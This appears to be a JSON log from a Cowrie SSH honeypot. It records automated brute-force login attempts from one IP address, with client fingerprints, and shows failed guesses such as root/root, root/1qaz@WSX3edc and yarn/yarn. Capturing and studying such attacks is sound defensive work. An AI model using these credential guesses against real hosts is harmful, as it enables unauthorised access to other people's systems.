{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:51.801108Z","src_ip":"192.109.200.237","session":"74509361e928","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35502,"dst_ip":"159.203.135.109","dst_port":22,"session":"1099ba7da1da","protocol":"ssh","message":"New connection: 192.109.200.237:35502 (159.203.135.109:22) [session: 1099ba7da1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:53.707613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:53.711436Z","src_ip":"192.109.200.237","session":"1099ba7da1da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:53.793167Z","src_ip":"192.109.200.237","session":"1099ba7da1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:54.040600Z","src_ip":"192.109.200.237","session":"1099ba7da1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:55.125913Z","src_ip":"192.109.200.237","session":"1099ba7da1da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35508,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d4b39ee1ad5","protocol":"ssh","message":"New connection: 192.109.200.237:35508 (159.203.135.109:22) [session: 1d4b39ee1ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:56.982035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:56.989455Z","src_ip":"192.109.200.237","session":"1d4b39ee1ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:57.071577Z","src_ip":"192.109.200.237","session":"1d4b39ee1ad5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:57.321202Z","src_ip":"192.109.200.237","session":"1d4b39ee1ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:58.414525Z","src_ip":"192.109.200.237","session":"1d4b39ee1ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.112356424331665,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:58.682137Z","src_ip":"152.42.224.71","session":"d9f2f7808104","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.169063091278076,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:20:58.996083Z","src_ip":"152.42.224.71","session":"0f6d4de37393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60646,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4a5de2d1035","protocol":"ssh","message":"New connection: 192.109.200.237:60646 (159.203.135.109:22) [session: c4a5de2d1035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:00.272429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:00.277545Z","src_ip":"192.109.200.237","session":"c4a5de2d1035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:00.472284Z","src_ip":"192.109.200.237","session":"c4a5de2d1035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:00.782847Z","src_ip":"192.109.200.237","session":"c4a5de2d1035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:01.869449Z","src_ip":"192.109.200.237","session":"c4a5de2d1035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60664,"dst_ip":"159.203.135.109","dst_port":22,"session":"7567b8038ebe","protocol":"ssh","message":"New connection: 192.109.200.237:60664 (159.203.135.109:22) [session: 7567b8038ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:03.913205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:03.918230Z","src_ip":"192.109.200.237","session":"7567b8038ebe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:04.000584Z","src_ip":"192.109.200.237","session":"7567b8038ebe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:04.249417Z","src_ip":"192.109.200.237","session":"7567b8038ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:05.335682Z","src_ip":"192.109.200.237","session":"7567b8038ebe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00261497497559,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:06.795039Z","src_ip":"152.42.224.71","session":"909cfe4ca529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60692,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5fadecff90c","protocol":"ssh","message":"New connection: 192.109.200.237:60692 (159.203.135.109:22) [session: d5fadecff90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:07.229144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:07.234592Z","src_ip":"192.109.200.237","session":"d5fadecff90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:07.321196Z","src_ip":"192.109.200.237","session":"d5fadecff90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:07.569338Z","src_ip":"192.109.200.237","session":"d5fadecff90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:08.655300Z","src_ip":"192.109.200.237","session":"d5fadecff90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47208,"dst_ip":"159.203.135.109","dst_port":22,"session":"c897469ac83c","protocol":"ssh","message":"New connection: 192.109.200.237:47208 (159.203.135.109:22) [session: c897469ac83c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:10.691486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:10.696935Z","src_ip":"192.109.200.237","session":"c897469ac83c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:10.779760Z","src_ip":"192.109.200.237","session":"c897469ac83c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:11.025985Z","src_ip":"192.109.200.237","session":"c897469ac83c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:12.111541Z","src_ip":"192.109.200.237","session":"c897469ac83c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47216,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbcb6587f2f6","protocol":"ssh","message":"New connection: 192.109.200.237:47216 (159.203.135.109:22) [session: dbcb6587f2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:14.095030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:14.103170Z","src_ip":"192.109.200.237","session":"dbcb6587f2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47218,"dst_ip":"10.17.0.5","dst_port":23,"session":"c01eb5696b76","protocol":"telnet","message":"New connection: 152.42.224.71:47218 (10.17.0.5:23) [session: c01eb5696b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:14.166463Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:14.187127Z","src_ip":"192.109.200.237","session":"dbcb6587f2f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:14.433857Z","src_ip":"192.109.200.237","session":"dbcb6587f2f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:15.653454Z","src_ip":"192.109.200.237","session":"dbcb6587f2f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47230,"dst_ip":"159.203.135.109","dst_port":22,"session":"68cf26db01bc","protocol":"ssh","message":"New connection: 192.109.200.237:47230 (159.203.135.109:22) [session: 68cf26db01bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:17.386715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:17.391484Z","src_ip":"192.109.200.237","session":"68cf26db01bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:17.473850Z","src_ip":"192.109.200.237","session":"68cf26db01bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"testing@1234","message":"login attempt [testing/testing@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:17.721197Z","src_ip":"192.109.200.237","session":"68cf26db01bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:21:18.807185Z","src_ip":"192.109.200.237","session":"68cf26db01bc","protocol":"ssh"}
